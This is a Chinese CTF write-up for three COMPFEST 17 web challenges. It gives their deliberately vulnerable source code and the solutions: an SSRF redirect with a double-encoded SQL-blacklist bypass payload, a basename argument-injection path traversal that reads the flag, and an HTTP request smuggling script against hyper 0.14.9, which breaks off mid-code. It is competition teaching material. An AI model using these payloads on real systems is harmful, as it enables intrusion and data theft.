【CTF/WriteUp】2025 Compfest 17 Web 题解
由于比赛结束平台就关闭了,所以一些题目没有地方复现,所以将就看看吧。
Dark Side of Asteroid
题目源码
app.py
from flask import *
import sqlite3, hashlib, requests, os, ipaddress, socket
from init_db import init_db
from datetime import timedelta
from urllib.parse import urlparse
# 初始化 flask
# 设置 session
# 设置文件的上传目录
UPLOAD_FOLDER = 'static/uploads'
app = Flask(__name__)
app.secret_key = os.urandom(16)
app.permanent_session_lifetime = timedelta(minutes=30)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def get_db_connection():
'''
连接数据库
'''
conn = sqlite3.connect('asteroids.db', timeout=5)
conn.row_factory = sqlite3.Row
return conn
@app.route('/')
def home():
'''
首页渲染
如果已登录,转到 catalog 页面
如果未登录,转到 login 页面
'''
if 'username' in session:
return redirect(url_for('catalog'))
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
'''
从表单接收 username 和 password
将 md5 后的密码与数据库中的密码比较
如果匹配,将用户名和角色存储到 session 中,跳转到 catalog 页面
否则渲染登录页并显示错误信息
'''
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db_connection()
user = conn.execute('SELECT * FROM users WHERE username=? AND password=?',
(username, password)).fetchone()
conn.close()
if user:
session['username'] = user['username']
session['role'] = user['role']
return redirect(url_for('catalog'))
else:
return render_template('login.html', error='Invalid credentials.')
@app.route('/register', methods=['GET', 'POST'])
def register():
'''
注册逻辑
从表单接收 username 和 password
如果用户存在发生错误,显示 Username already exists 错误信息
正常将用户密码写入数据库
'''
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db_connection()
try:
conn.execute('INSERT INTO users (username, password) VALUES (?, ?)',
(username, password))
conn.commit()
conn.close()
return redirect(url_for('home'))
except sqlite3.IntegrityError:
conn.close()
return render_template('register.html', error='Username already exists.')
return render_template('register.html')
@app.route('/catalog')
def catalog():
'''
未登录用户访问 catalog 页面,跳转到 login 页面
可以用 name LIKE 搜索
渲染 asteroid 列表
'''
if 'username' not in session:
return redirect(url_for('home'))
search = request.args.get('search', '')
conn = get_db_connection()
if search:
asteroids = conn.execute('SELECT * FROM asteroids WHERE name LIKE ?', (f'%{search}%',)).fetchall()
else:
asteroids = conn.execute('SELECT * FROM asteroids').fetchall()
conn.close()
return render_template('catalog.html', asteroids=asteroids, role=session['role'])
@app.route('/admin', methods=['GET', 'POST'])
def admin():
'''
管理员页面
未登录用户或非管理员角色访问,跳转到 home 页面
可以添加和删除 asteroid 数据
'''
if 'username' not in session or session['role'] != 'admin':
return redirect(url_for('home'))
conn = get_db_connection()
if request.method == 'POST':
if 'add' in request.form:
name = request.form['name']
description = request.form['description']
conn.execute('INSERT INTO asteroids (name, description) VALUES (?, ?)', (name, description))
conn.commit()
elif 'delete' in request.form:
asteroid_id = request.form['asteroid_id']
conn.execute('DELETE FROM asteroids WHERE id=?', (asteroid_id,))
conn.commit()
asteroids = conn.execute('SELECT * FROM asteroids').fetchall()
conn.close()
return render_template('admin.html', asteroids=asteroids)
def filter_sqli(search_raw: str) -> str:
'''
SQL WAF
要求 sql 中必须包含 access_level
绕过:
可以用换行符、between
编码
'''
blacklist = [
'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',
'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t'
]
search_lower = search_raw.lower()
for word in blacklist:
if word in search_lower:
abort(403, description="SQL injection attempt detected: Blacklisted word found.")
if 'access_level' not in search_lower:
abort(403, description="SQL injection attempt detected: Invalid payload structure")
return search_lower
@app.route('/internal/admin/search')
def internal_admin_search():
'''
管理员搜索接口
只允许 127.0.0.1 访问
默认查询 access_level <= 2 的 secret_name 和 secret_value
GET q 会被拼接到 SQL 查询中
flag 在 level=3,需要绕过
返回:
secret_name 与 secret_value
'''
if request.remote_addr != '127.0.0.1':
return "Access denied", 403
conn = get_db_connection()
try:
search_raw = request.args.get('q', '')
if search_raw == '':
query = "SELECT secret_name, secret_value FROM admin_secrets WHERE access_level <= 2"
else:
search = filter_sqli(search_raw)
query = f"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2"
rows = conn.execute(query).fetchall()
result = ''
for row in rows:
result += f"{row['secret_name']}: {row['secret_value']}\n"
if not result:
result = "No secrets found"
return result, 200, {'Content-Type': 'text/plain; charset=utf-8'}
except Exception as e:
return f"Error: {str(e)}"
finally:
conn.close()
def is_private_url(url: str):
'''
SSRF Detect
解析 hostname
检查 URL 是否为私网地址
没有把 127.0.0.1 视为私网地址,is_loopback=True
请求的重定向目标不会再次检查,只检查第一次 URL 重定向
'''
hostname = urlparse(url).hostname
if not hostname:
return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private
@app.route('/profile', methods=['GET', 'POST'])
def profile():
'''
提交 photo_url 会请求远程地址并将结果保存到 static/uploads 目录
如果响应 Content-Type 不是 image/* 就报错,error_preview 显示前 500 字节并写入
'''
if 'username' not in session:
return redirect(url_for('login'))
conn = get_db_connection()
error_preview = None
content_type = ''
if request.method == 'POST':
photo_url = request.form['photo_url']
try:
if is_private_url(photo_url):
raise Exception("Direct access to internal host is forbidden.")
os.makedirs(os.path.join('static', 'uploads'), exist_ok=True)
resp = requests.get(photo_url, timeout=5)
content_type = resp.headers.get('Content-Type', '')
filename = f"{session['username']}_profile_fetched"
filepath = os.path.join('static', 'uploads', filename)
with open(filepath, 'wb') as f:
f.write(resp.content)
conn.execute(
'UPDATE users SET profile_picture=?, profile_type=? WHERE username=?',
(f'uploads/{filename}', content_type, session['username'])
)
conn.commit()
if not content_type.startswith('image/'):
try:
error_preview = resp.text[:500]
except Exception as e:
error_preview = f"[!] Error reading content: {e}"
except Exception as e:
error_preview = f"[!] Error fetching image: {e}"
user = conn.execute(
'SELECT * FROM users WHERE username=?',
(session['username'],)
).fetchone()
conn.close()
return render_template(
'profile.html',
user=user,
content_type=content_type,
error_preview=error_preview
)
@app.route('/asteroid/<int:asteroid_id>')
def asteroid_detail(asteroid_id):
'''
显示单个 asteroid
'''
if 'username' not in session:
return redirect(url_for('home'))
conn = get_db_connection()
asteroid = conn.execute('SELECT * FROM asteroids WHERE id=?', (asteroid_id,)).fetchone()
conn.close()
if asteroid:
return render_template('asteroid_detail.html', asteroid=asteroid, role=session['role'])
else:
return "Asteroid not found", 404
@app.route('/logout')
def logout():
'''
用户退出清除 session
'''
session.clear()
return redirect(url_for('home'))
if __name__ == '__main__':
if not os.path.exists('asteroids.db'):
init_db()
app.run(debug=False,host='0.0.0.0',port=5000)
init_db.py
import sqlite3
import hashlib
def init_db():
FLAG = 'COMPFEST17{FAKEFLAG}'
conn = sqlite3.connect('asteroids.db')
c = conn.cursor()
# Users table + kolom profile_url
c.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
role TEXT NOT NULL DEFAULT 'guest',
profile_picture TEXT DEFAULT '',
profile_type TEXT DEFAULT ''
)
''')
# Asteroids table
c.execute('''
CREATE TABLE IF NOT EXISTS asteroids (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT UNIQUE NOT NULL,
description TEXT NOT NULL
)
''')
# Admin secrets table
c.execute('''
CREATE TABLE IF NOT EXISTS admin_secrets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
secret_name TEXT,
secret_value TEXT,
access_level INTEGER
)
''')
# Add default secrets
secrets = [
('Flag', FLAG, 3),
('final_message', 'You made it! Remember: the flag belongs to those who trust their own path.', 3),
('author_message', 'You sure you can get the flag? Think twice…', 2),
('welcome_note', 'Welcome to the Asteroid Admin system!', 1)
]
for s in secrets:
c.execute('INSERT OR IGNORE INTO admin_secrets (secret_name, secret_value, access_level) VALUES (?, ?, ?)', s)
# Add some default asteroid data (10 asteroid)
asteroids = [
('Ceres', 'The largest object in the asteroid belt between Mars and Jupiter.'),
('Pallas', 'Second-largest asteroid, discovered in 1802.'),
('Vesta', 'Brightest asteroid visible from Earth, has a differentiated interior.'),
('Hygiea', 'Fourth-largest asteroid, nearly spherical.'),
('Eros', 'First asteroid orbited and landed on by a spacecraft (NEAR Shoemaker).'),
('Itokawa', 'Visited by Japanese spacecraft Hayabusa.'),
("Bennu", "Target of NASA's OSIRIS-REx mission, potentially hazardous."),
('Ryugu', "Visited by Japan's Hayabusa2 mission, diamond-shaped."),
('Davida', 'One of the largest C-type asteroids.'),
('Psyche', "Rich in metal, target of NASA's Psyche mission.")
]
for asteroid in asteroids:
c.execute('INSERT OR IGNORE INTO asteroids (name, description) VALUES (?, ?)', asteroid)
conn.commit()
conn.close()
print("[+] Database initialized successfully with default data.")
if __name__ == '__main__':
init_db()
解题思路
根据源码分析,会发现是一个 SSRF + SQL 黑名单绕过的题。
整体思路步骤是:
- 注册一个新用户。
- 访问到 /profile 页面,写入一个公网可达的重定向 URL,让后端请求(
photo_url = request.form['photo_url']),302 到服务器自身 127.0.0.1。 - 302 ==>
http://127.0.0.1:5000/internal/admin/search?,在这里需要绕过 SQL WAF。 - 页面返回。

解题步骤
SQL 绕过
blacklist = [
'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',
'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t'
]
# app.py
SELECT secret_name, secret_value
FROM admin_secrets
WHERE secret_name LIKE '{search}' AND access_level <= 2
-- 让语句变成开放式
WHERE secret_name LIKE '%' AND access_level BETWEEN 0 AND 9 --' AND access_level <= 2
-- 进行两次 URL 编码
http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3D%2525%2527%250AAND%250Aaccess_level%250Abetween%250A0%250Aand%250A9%250A--
LIKE %恒真。\n绕过空格限制。- 使用
BETWEEN 0 AND 9绕过范围判断,覆盖到 flag 所在的 3。 - 把
access_level带上。 - 末尾注释。
最终 payload:
http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3D%2525%2527%250AAND%250Aaccess_level%250Abetween%250A0%250Aand%250A9%250A--
Basssh
题目先是给了挺多看似与题目有关的脚本、功能,但实际上都是幌子,我们直接看关键文件。
题目源码
index.sh
[kaqi c] cat pages/index.sh
source config.sh
file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}"))
chall_list() {
echo "<div class='w-full'>"
echo " <div class='bg-[#141414] text-green-400 font-mono text-sm rounded-lg p-6 overflow-x-auto'>"
echo " <div class='flex flex-col space-y-1'>"
echo " <p class='text-white'><span class='text-green-400'>you@basssh</span>:<span class='text-cyan-500'>/app</span>$ tree -L 1 ./programs</p>"
echo " <span class='text-cyan-500'>.</span>"
mapfile -t files < <(find programs/ -maxdepth 1 -type f -name "*.py" | sort)
total=${#files[@]}
for i in "${!files[@]}"; do
file="${files[$i]}"
filename=$(basename $file)
if [ "$i" -eq $((total - 1)) ]; then
branch="└──"
else
branch="├──"
fi
echo " <p class='text-white'>$branch <a href='?file=$filename' class='text-yellow-400 hover:text-yellow-300 transition-colors duration-200'>$filename</a></p>"
done
if [ -z "$file_target" ]; then
echo " </br>"
echo " <p class='text-white'>No file selected.</p>"
echo " <p class='text-white'>Please select a file from the list above.</p>"
echo " <p class='text-white'>Example: <span class='text-yellow-400'>?file=example.py</span></p>"
echo " <p class='text-white'>Then click the <span class='text-green-400'>▶ Run</span> button.</p>"
echo " </div>"
echo " </div>"
echo "</div>"
return
fi
echo " </br><p class='text-white'><span class='text-green-400'>you@basssh</span>:<span class='text-cyan-500'>/app</span>$ cat ./problems/$file_target.txt</p>"
cat "problems/$file_target.txt" | while read -r line; do
echo " <p class='text-white'>$line</p>"
done
echo " </div>"
echo " </div>"
echo "</div>"
}
htmx_page << EOF
<body class="font-mono bg-[#1F1F1F] text-[#CE9178] mt-4">
<div class="w-full flex flex-col md:flex-row border-2 divide-y-2 md:divide-y-0 md:divide-x-2 border-[#484848] divide-[#282828]">
<!-- Left Card -->
<div id="left-card" class="flex flex-col flex-1 max-w-xl justify-start items-start px-4 py-6">
<pre class="overflow-auto text-sm leading-tight">
Welcome to,
██████╗░░█████╗░░██████╗░██████╗░██████╗██╗░░██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██║░░██║
██████╦╝███████║╚█████╗░╚█████╗░╚█████╗░███████║
██╔══██╗██╔══██║░╚═══██╗░╚═══██╗░╚═══██╗██╔══██║
██████╦╝██║░░██║██████╔╝██████╔╝██████╔╝██║░░██║
╚═════╝░╚═╝░░╚═╝╚═════╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
</pre>
<p>Pretty much 1337code 101.</p>
<br />
$(chall_list)
<p class="text-xs pt-2">^ not interactive, just a list of challenges.</p>
</div>
<!-- Right Card with Button -->
<div class="flex-1 flex-col items-end px-4 py-6">
<form hx-post="/exec/?file=$file_target.py" hx-target="#output" hx-swap="innerHTML">
<button class="bg-[#CE9178] text-white text-sm py-1 px-2 border-2 border-transparent hover:bg-[#b87f68] hover:border-white transition ease-in-out duration-300" type="submit">
▶ Run
</button>
<div class="mt-4">
<p class="text-white">Input:</p>
<textarea name="input" id="input" class="w-full h-64 bg-[#141414] text-white p-6 rounded-lg border border-[#484848] resize-none"></textarea>
</div>
</form>
<div class="mt-2">
<p class="text-white">Output:</p>
<textarea id="output" class="w-full h-44 bg-[#141414] text-white p-6 rounded-lg border border-[#484848] resize-none" readonly></textarea>
</div>
</div>
</div>
</body>
EOF
exec.sh
[kaqi c] cat pages/exec.sh
source config.sh
echo ""
file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}"))
if ! [[ -f "programs/${file_target}.py" ]]; then
echo "Invalid file"
exit 1
fi
input="${FORM_DATA[input]}"
if [[ -n "$input" ]]; then
output=$(echo -e "$input" | python3 "programs/${file_target}.py" 2>&1)
else
output="No input provided. Please enter some input in the textarea above."
fi
escaped_output=$(echo "$output" | sed 's/&/\&/g; s/</\</g; s/>/\>/g')
echo "$escaped_output"
解题思路
刚开始看到 $(basename -s .py $(urldecode "${QUERY_PARAMS['file']}")) 这一段,发现有一个 glob 展开,尝试直接输入 * 、/ 等,能显示路径下的文件。
尝试了一番发现不能查看文件,因为在这一段 index.sh 中的这一段 cat "problems/$file_target.txt" | while read -r line; 限定了只能查看 problems/ 目录下的文件。
其实这里有点没招了(去看第三题🤗
回来继续
开始找 bash 能玩的操作有哪些:
- 通配符
- 路径穿越
- glob
- 命令替换
- 命令参数注入
前面的都用过了,剩参数注入,直接输 --help,发现能回显,那么解法多半是 basename 命令。
查阅手册ing:

-a:支持多参数,将每个参数当作一个文件名,然后拼起来处理。-z:用\0作为每一行输出的末尾字符,而不是换行符\n。
[kaqi ~] basename -z -a .. / .. / flag
../../flag
最终 payload:
http://ctf.compfest.id:7301/
?file=/*
you@basssh:/app$ cat ./problems/app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var.txt
http://ctf.compfest.id:7301/
?file=--help
you@basssh:/app$ cat ./problems/Usage: basename NAME [SUFFIX] or: basename OPTION... NAME... Print NAME with any leading directory components removed. If specified, also remove a trailing SUFFIX. Mandatory arguments to long options are mandatory for short options too. -a, --multiple support multiple arguments and treat each as a NAME -s, --suffix=SUFFIX remove a trailing SUFFIX; implies -a -z, --zero end each output line with NUL, not newline --help display this help and exit --version output version information and exit Examples: basename /usr/bin/sort -> "sort" basename include/stdio.h .h -> "stdio" basename -s .h include/stdio.h -> "stdio" basename -a any/str1 any/str2 -> "str1" followed by "str2" GNU coreutils online help: Report any translation bugs to Full documentation or available locally via: info '(coreutils) basename invocation'.txt
http://ctf.compfest.id:7301/
?file=-z -a .. / .. / flag
you@basssh:/app$ cat ./problems/../../flag.txt
COMPFEST17{bassshbassshbasssh_7e5cf4b8d6}
Not Simple Web
题目源码
[kaqi c] ls -R
.:
docker-compose.yml proxy server
./proxy:
Dockerfile main.py
./server:
Cargo.lock Cargo.toml Dockerfile src
./server/src:
main.rs static
./server/src/static:
chad.jpg index.html not_found.html secret.html this_is_fine.jpg
favicon.ico kys.png reject.html style.css tighten_stare.png
index.html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to HomemadeHTTP</title>
<link rel="stylesheet" href="style.css">
<body>
<div id="container">
<h1>Welcome to HomemadeHTTP</h1>
<p>Built with 0% dependencies, 100% masculinity.<br>
Proxy is a sigma built upon sockets and regex.<br>
If you get rejected, maybe you're just not based enough 馃し鈥嶁檪锔?/p>
<p>My pic below:</p>
<div id="img">
<img src="chad.jpg"></img>
</div>
<a href="/secret.html">Try your luck</a>
</div>
</body>
</html>
reject.html
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div id="container">
<h1>Request Rejected</h1>
<div id="img">
<img src="kys.png"></img>
</div>
<p>Please don't actually do it ❤️</p>
<a href="/index.html">Go back</a>
</div>
</body>
</html>
secret.html
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
<link rel="stylesheet" href="style.css">
<body>
<div id="container">
<h1>How did you get here?</h1>
<div id="img">
<img src="this_is_fine.jpg"></img>
</div>
<p>There is nothing to see here</p>
<a href="/index.html">⮐ Go back</a>
<p style="color: black; position: absolute; left: 0; top: 0;">{{ FLAG }}</p>
</div>
</body>
</html>
main.rs
use hyper::service::{make_service_fn, service_fn};
use hyper::{Body, Request, Response, Server, StatusCode};
use include_dir::{Dir, include_dir};
use mime_guess;
use base64::prelude::*;
use std::env;
static STATIC_DIRECTORY: Dir = include_dir!("$CARGO_MANIFEST_DIR/src/static");
async fn handle(req: Request<Body>) -> Result<Response<Body>, hyper::Error> {
println!("[Request]");
println!("{:#?}", req);
let path = req.uri().path().to_owned();
let body_bytes = hyper::body::to_bytes(req.into_body()).await?;
println!("[Body] {} bytes", body_bytes.len());
if let Ok(s) = std::str::from_utf8(&body_bytes) {
println!("{}", s);
}
// Normalize root to index.html
let rel_path = if path == "/" {
"index.html"
} else {
&path[1..] // strip leading slash
};
let file = STATIC_DIRECTORY
.get_file(rel_path)
.unwrap_or(STATIC_DIRECTORY.get_file("not_found.html").unwrap());
let mime = mime_guess::from_path(rel_path).first_or_octet_stream();
let mime_header = {
if mime.type_() == "text" {
format!("{}; charset=UTF-8", mime.essence_str())
} else {
mime.to_string()
}
};
let body = if rel_path != "secret.html" {
Body::from(file.contents())
} else {
let flag = env::var("FLAG").unwrap();
Body::from(
str::from_utf8(file.contents())
.unwrap()
.replace("{{ FLAG }}", &BASE64_STANDARD.encode(flag)),
)
};
let status = if rel_path != "not_found.html" {
StatusCode::OK
} else {
StatusCode::NOT_FOUND
};
Ok(Response::builder()
.header("Content-Type", mime_header)
.status(status)
.body(body)
.unwrap())
}
#[tokio::main]
async fn main() {
let args: Vec<String> = env::args().collect();
let port = args.get(1).expect("Provide port!").parse().unwrap();
env::var("FLAG").expect("Provide FLAG env!");
let addr = ([0, 0, 0, 0], port).into();
let make_svc = make_service_fn(|_conn| async { Ok::<_, hyper::Error>(service_fn(handle)) });
println!("Listening on http://{}", addr);
Server::bind(&addr).serve(make_svc).await.unwrap();
}
Cargo.toml
[package]
name = "server"
version = "0.1.0"
edition = "2024"
[dependencies]
base64 = "0.22.1"
hyper = { version = "=0.14.9", features = ["full"] } # Pinned for compatibility
include_dir = "0.7.4"
mime_guess = "2.0.5"
tokio = { version = "1.46.1", features = ["full"] }
server Dockerfile
FROM rust:1.88.0
WORKDIR /app
COPY . .
RUN cargo install --path .
ENTRYPOINT ["server"]
proxy Dockerfile
FROM python:3.13.5
WORKDIR /app
COPY . .
ENTRYPOINT ["python", "-u", "/app/main.py"]
docker-compose.yml
services:
server:
build: "./server"
container_name: "server"
pull_policy: build
image: "ctf_not_simple_web_server"
expose:
- 28015
command: "28015"
environment:
- FLAG="COMPFEST17{FAKE_FLAG_0_0}"
init: true
read_only: true
proxy:
build: "./proxy"
container_name: "proxy"
pull_policy: build
image: "ctf_not_simple_web_proxy"
ports:
- "8000:8000"
expose:
- 8000
command: "0.0.0.0:8000 server:28015"
init: true
read_only: true
depends_on:
- server
main.py
import socketserver
from sys import argv
import socket
import re
import threading
from time import sleep
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True # Immediately use port that has just recently been freed
class ProxyHandler(socketserver.BaseRequestHandler):
_buffer: bytes = b""
_timeout: int = 60
def handle(self):
_socket: socket.socket = self.request
request: tuple[str, str, str] = self._get_request()
headers: list[tuple[str, str]] = self._get_headers()
print("Incoming request:")
print(request)
print(headers)
request, headers = self._process_host(request, headers)
request, headers = self._strip_connection(request, headers)
request, headers, length = self._process_body_length(request, headers)
self._filter_route(request)
print("Outgoing request:")
print(request)
print(headers)
print(length)
self._send(request, headers, length)
def _readbuffered(self, max_amount: int) -> bytes:
_socket: socket.socket = self.request
if self._timeout != 60:
_socket.settimeout(60)
if self._buffer == b"":
data = _socket.recv(1024*1024)
if data == b"":
exit(1)
self._buffer += data
ret_val = self._buffer[:max_amount]
self._buffer = self._buffer[max_amount:]
return ret_val
def _readline(self) -> bytes:
data: bytes = b""
while data[-2:] != b"\r\n":
newbyte = self._readbuffered(1)
if newbyte == b"":
exit(1) # Client disconnected
data += newbyte
return data[:-2]
def _get_request(self) -> tuple[str, str, str]:
try:
request = self._readline().decode("ASCII", "strict").strip()
except UnicodeDecodeError:
self._reject(400, "Bad Request")
method, target, protocol, *other = request.split(" ")
if len(other) != 0:
self._reject(400, "Bad Request")
# Case sensitive
if method not in ["POST", "GET"]:
self._reject(501, "Not Implemented")
# Make http lowercase (sorry for the mess)
if target[:1] != "/":
uri_start = target.find("/", 7)
# If not found, then probably no uri, -1 should lowercase the whole address
if uri_start != -1:
target = target[:uri_start].lower() + target[uri_start:]
else:
target = target.lower()
if not (target.startswith("/") or target.startswith("http://")):
self._reject(400, "Bad Request")
# Case sensitive
if protocol != "HTTP/1.1":
self._reject(501, "Not Implemented")
return (method, target, protocol)
def _get_headers(self) -> list[tuple[str, str]]:
result = []
while True:
entry = self._readline()
if entry == b"":
break
if not re.match(rb"^[\w\-]+:.*$", entry):
self._reject(400, "Bad Request")
try:
key = entry[:entry.index(b":")].title().decode("ASCII", "strict")
except UnicodeDecodeError:
self._reject(400, "Bad Request")
val_bytes = entry[entry.index(b":")+1:]
# Only allow printable, tab, space, and obsolete values
if not all([num == 0x9 or num >= 0x20 for num in val_bytes]):
self._reject(400, "Bad Request")
try:
val = val_bytes.decode("ASCII", "strict").strip()
except UnicodeDecodeError:
self._reject(400, "Bad Request")
result.append((key, val))
return result
def _process_host(self, request, headers):
host_entries = list(filter(lambda entry: entry[1][0] == "Host", enumerate(headers)))
if len(host_entries) != 1:
self._reject(400, "Bad Request")
index, header = host_entries[0]
location = request[1]
if location.startswith("http://"):
# If not found, then the whole thing is origin
origin_index = location.find("/", 7)
if origin_index != -1:
origin = location[:origin_index]
location = location[origin_index:]
else:
origin = location
location = "/"
request = (request[0], location, request[2])
headers[index] = (header[0], origin)
return request, headers
def _strip_connection(self, request, headers):
headers = list(filter(lambda header: header[0] != "Connection", headers))
return (request, headers)
def _process_body_length(self, request, headers):
transfer_encodings = list(filter(lambda header: header[0] == "Transfer-Encoding", headers))
if len(transfer_encodings) > 1:
self._reject(400, "Bad Request")
if len(transfer_encodings) == 1:
transfer_encoding = transfer_encodings[0]
if transfer_encoding[1].lower() != "chunked":
self._reject(501, "Not Implemented")
headers = list(filter(lambda header: header[0] != "Content-Length", headers))
return (request, headers, -1)
content_lengths = list(filter(lambda header: header[0] == "Content-Length", headers))
if len(content_lengths) > 1:
self._reject(400, "Bad Request")
if len(content_lengths) == 1:
content_length = content_lengths[0]
if not re.match("^[0-9]+$", content_length[1]):
self._reject(400, "Bad Request")
return (request, headers, int(content_length[1]))
return (request, headers, 0)
def _filter_route(self, request):
assert request[1].startswith("/")
uri = request[1]
if not (re.match(r"^/\w+\.\w+$", uri) or uri == "/"):
self._reject(301, "Moved Permanently", "/reject.html")
if "secret" in uri.lower():
self._reject(307, "Temporary Redirect", "/reject.html")
def _send(self, request, headers, length):
client: socket.socket = self.request
server: socket.socket = socket.create_connection((send_addr, send_port), timeout=5)
header_section = "\r\n".join(map(lambda entry: f"{entry[0]}: {entry[1]}", headers))
# Send headers
server.sendall(f"""\
{request[0]} {request[1]} {request[2]}\r\n\
{header_section}\r\n\
\r\n\
""".encode("ASCII", "strict"))
if length >= 0:
if length > 0:
self._poll(client, server, length=length)
self._poll(client, server, client_done=True)
# Obsolete return probably
return
# Chunked data transfer
while True:
try:
chunk_size_str = self._readline().decode("ASCII", "strict")
except UnicodeDecodeError:
sefl._reject(400, "Bad Request")
# Ignore any extensions
ext_index = chunk_size_str.find(";")
if ext_index != -1:
chunk_size_str = chunk_size_str[:ext_index]
chunk_size_str = chunk_size_str.strip()
# Chunk size is in hex
if not re.match(r"[0-9a-fA-F]+", chunk_size_str):
self._reject(400, "Bad Request")
chunk_size = int(chunk_size_str, 16)
server.sendall(chunk_size_str.encode("ASCII", "strict") + b"\r\n")
if chunk_size == 0:
break
# Server might be sending data as client is sending body
self._poll(client, server, chunk_size)
# Should be CRLF after chunk data
if self._readline() != b"":
self._reject(400, "Bad Request")
server.sendall(b"\r\n")
# Chunked trailer section
while True:
header = self._readline()
if header == b"":
server.sendall(b"\r\n")
break
server.sendall(header + b"\r\n")
self._poll(client, server, client_done=True)
def _poll(self, client, server, length: int = 0, client_done: bool = False):
assert (length > 0 and not client_done) or (length == 0 and client_done)
if len(self._buffer) > 0 and length > 0:
data = self._readbuffered(min([1024*1024, length]))
length -= len(data)
server.sendall(data)
client.setblocking(False)
server.setblocking(False)
self._timeout = 0
server_header_processed = False
server_data: bytes = b""
sleep_count = 0
# Keep polling until no response has been made from either side
# If either client is done sending (waiting for all server data)
# Or client still has something to send
while sleep_count < 60 and (client_done or length > 0):
client_block = False
# Read up to length remaining
if length > 0:
try:
data = client.recv(min([1024*1024, length]))
if data == b"":
exit(1)
length -= len(data)
server.sendall(data)
except BlockingIOError:
client_block = True
# Make sure client is still listening
else:
try:
if client.recv(1) == b"":
exit(1)
except BlockingIOError:
pass
# Read data from server
try:
data = server.recv(1024*1024)
if data == b"" and not client_done:
self._reject(500, "Internal Server Error")
if data == b"" and client_done:
exit(0)
# Add Connection: close header
if not server_header_processed:
server_data += data
if b"\r\n\r\n" in server_data:
processed_data = self._process_server_header(server_data)
client.sendall(processed_data)
server_header_processed = True
else:
client.sendall(data)
except BlockingIOError:
if client_block or length == 0:
sleep_count += 1
sleep(1)
def _process_server_header(self, server_data: bytes):
assert b"\r\n\r\n" in server_data
header_data: bytes = server_data[:server_data.find(b"\r\n\r\n")]
body_data: bytes = server_data[server_data.find(b"\r\n\r\n")+4:]
header_entries = header_data.split(b"\r\n")
processed_data: bytes = b""
for header_entry in header_entries:
if not re.match(rb"^connection:.*$", header_entry.lower()):
processed_data += header_entry + b"\r\n"
else:
continue
processed_data += b"Connection: close\r\n\r\n"
processed_data += body_data
return processed_data
def _reject(self, code: int, reason: str, location: str|None = None):
assert re.match(r"^[\w\- \t]+$", reason)
assert 100 <= code <= 999
if location is None:
location_header = ""
else:
assert re.match(r"^/\w+\.\w+$", location)
location_header = f"Location: {location}\r\n"
_socket: socket.socket = self.request
_socket.sendall(f"""\
HTTP/1.1 {code} {reason}\r\n\
Server: sigmaproxy/0.1
Connection: close\r\n\
{location_header}\
\r\n\
""".encode("ASCII", "strict"))
_socket.close()
print(code, reason)
exit(1)
if __name__ == "__main__":
if len(argv) < 3:
print("Need port to listen and to send")
exit(1)
listen: str = argv[1]
send: str = argv[2]
assert re.match(r"^[\w\.-]+:[0-9]+$", listen)
assert re.match(r"^[\w\.-]+:[0-9]+$", send)
print(f"Listening on {listen}")
print(f"Sending to {send}")
listen_addr: str = listen[:listen.index(":")]
listen_port: int = int(listen[listen.index(":")+1:])
send_addr: str = send[:send.index(":")]
send_port: int = int(send[send.index(":")+1:])
with ThreadedTCPServer((listen_addr, listen_port), ProxyHandler) as server:
server_thread = threading.Thread(target=server.serve_forever)
# Exit the server thread when the main thread terminates
server_thread.daemon = True
server_thread.start()
while True:
pass
题目分析
先进性一个的信息收集
-
在
Cargo.toml有版本号hyper version = "=0.14.9"。 -
flag 在 secret.html 中。
-
main.rs文件中,_filter_route函数只允许r"^/\w+\.\w+$"访问,其他都会跳转到 reject.html。 -
函数
_filter_route存在uri.lower(),所以没有大小写绕过。 -
函数
_process_host把 URL 拆成了 host+uri。 -
函数 handle 的执行顺序是先
_process_host再_filter_route,所以用路径相关的操作行不通。 -
函数
_process_body_length中,有Transfer-Encoding: chunked、Content-Length: <num>。
解题思路
直接先拿关键信息搜


这个版本就一个洞,直接拿来用。
- 发一个合法的
POST /index.html通过 proxy 白名单,用大 chunk + 满足 hyper 期望的少量字节 + 0 终止块,让第一请求体在后端提前结束。 - 接着把完整的
GET /secret.html请求拼在第一个请求后(同一连接内),让网站后端把这个 GET 当作第二个请求来处理,就成功绕过了 proxy 的_filter_route函数过滤。
import socket, re, base64
host = 'ctf.compfest.id'
port = 7304
def recv_until(s):
buf = b''
try:
while True:
r = s.recv(4096)
if not r:
break
buf += r
except socket.timeout:
pass
finally:
s.close()
return buf
def gen_payload(host, port):
p = (
f"GET /secret.html HTTP/1.1\r\n"
f"host: {host}:{port}\r\n"
f"\r\n"
).encode("ascii")
body = (
b"f0000000000000003\r\n"
b"XYZ\r\n"
b"0\r\n\r\n"
)
headers = (
f"POST /index.html HTTP/1.1\r\n"
f"host: {host}:{port}\r\n"
f"Connection: keep-alive\r\n"
